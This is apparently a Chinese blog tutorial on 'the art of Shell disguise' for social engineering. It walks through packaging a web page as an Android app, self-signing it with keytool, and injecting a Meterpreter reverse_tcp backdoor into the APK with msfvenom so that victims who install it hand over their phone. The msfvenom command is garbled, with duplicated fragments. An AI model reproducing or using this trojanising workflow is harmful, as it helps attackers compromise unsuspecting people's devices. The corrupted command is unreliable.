浅谈Shell的伪装的艺术

admin

[md]> 在网络安全中，`社会工程学` 已经是一种最为致命的测试手段。常常让人出其不意，今天来看看如何利用 `Shell伪装的艺术` 来进行社会工程学测试。

[](https://blog.bbskali.cn/usr/uploads/2020/11/1757253254.jpg)

<figcaption class="post-img-figcaption"><a class="light-link" data-fancybox="gallery" no-pjax="" data-type="image" data-caption="伪装的艺术" href="https://blog.bbskali.cn/usr/uploads/2020/11/1757253254.jpg">伪装的艺术</a></figcaption>

### 对安卓 shell 的伪装

利用 `HBuilder` 将 Web 页面打包成 `APP`
`文件`-`新建`-`移动APP`
配置 APP 项目
[](https://blog.bbskali.cn/usr/uploads/2020/11/3956978859.jpg)

<figcaption class="post-img-figcaption"></figcaption>

需要注意是 `页面入口` 便是 APP 启动后要进入的页面。

### 设置图标

[](https://blog.bbskali.cn/usr/uploads/2020/11/1540892431.jpg)

<figcaption class="post-img-figcaption"></figcaption>

需要注意的是图标格式为 `PNG`

### 设置启动页

[](https://blog.bbskali.cn/usr/uploads/2020/11/3662465916.jpg)

<figcaption class="post-img-figcaption"></figcaption>

### 打包 APP

`右键项目`-`发行`-`发行原生APP`
[](https://blog.bbskali.cn/usr/uploads/2020/11/1703045648.jpg)

<figcaption class="post-img-figcaption"></figcaption>

**关于签名**
如果你不懂关于 androdi 的前面，建议使用公用证书。但是需要实名认证。于是我这里用了自己的证书！

### 自建证书

在 `Kali` 下我们利用下面命令建立证书。

```-bash
keytool -genkey -alias testalias -keyalg RSA -keysize 2048 -validity 36500 -keystore kali.keystore
```

Bash

<button><i class="fontello fontello-tags" id="btn-copy-code"><span>&#160;</span>复制</i></button>

这样我们便创建了一个名为 `kali.keystore` 的证书，输入证书的密码，位置等信息打包即可！

[](https://blog.bbskali.cn/usr/uploads/2020/11/2480701655.jpg)

<figcaption class="post-img-figcaption"></figcaption>

### 获取 app

在 `发行`-`查看APP打包状态` 获取已经打包好的 app
[](https://blog.bbskali.cn/usr/uploads/2020/11/1529860502.jpg)

<figcaption class="post-img-figcaption"></figcaption>

### 添加后门

```-bash
msfvenom -p -x kali.apk android/meterpreter/reverse_tcp LHOST=192.168.232.195 LPORT=5555 R > kali1.apk=192.168.232.195 LPORT=5555 R > kali1.apk192.168.232.195 LPORT=5555 R > kali1.apk=5555 R > kali1.apk5555 R > kali1.apk> kali1.apk kali1.apk
```

Bash

<button><i class="fontello fontello-tags" id="btn-copy-code"><span>&#160;</span>复制</i></button>

**参数说明：**
`-x` 原生 APP
`kali1.apk` 最后生成含有后门的 app

### 安装 app

[](https://blog.bbskali.cn/usr/uploads/2020/11/1675337827.jpg)

<figcaption class="post-img-figcaption"></figcaption>

### 运行 app

<video src="https://you.bbskali.cn/MP4/dabiaoge.mp4" poster="https://blog.bbskali.cn/usr/uploads/2020/11/2640370664.jpg" <="" video="" preload="preload" controls="controls"></video>

就这样，当你还在不断的欣赏小视频的同时，别人就会得到你手机的权限。
[](https://blog.bbskali.cn/usr/uploads/2020/03/2045864825.png)

<figcaption class="post-img-figcaption"><a class="light-link" data-fancybox="gallery" no-pjax="" data-type="image" data-caption="运行app后 获得shell" href="https://blog.bbskali.cn/usr/uploads/2020/03/2045864825.png">运行app后 获得shell</a></figcaption>

需要注意的是，由于 kali 的版本不同或者 Java 版本问题的差异，在实际中你可能会遇到各种坑。但是不要放弃总会成功的！
[/md]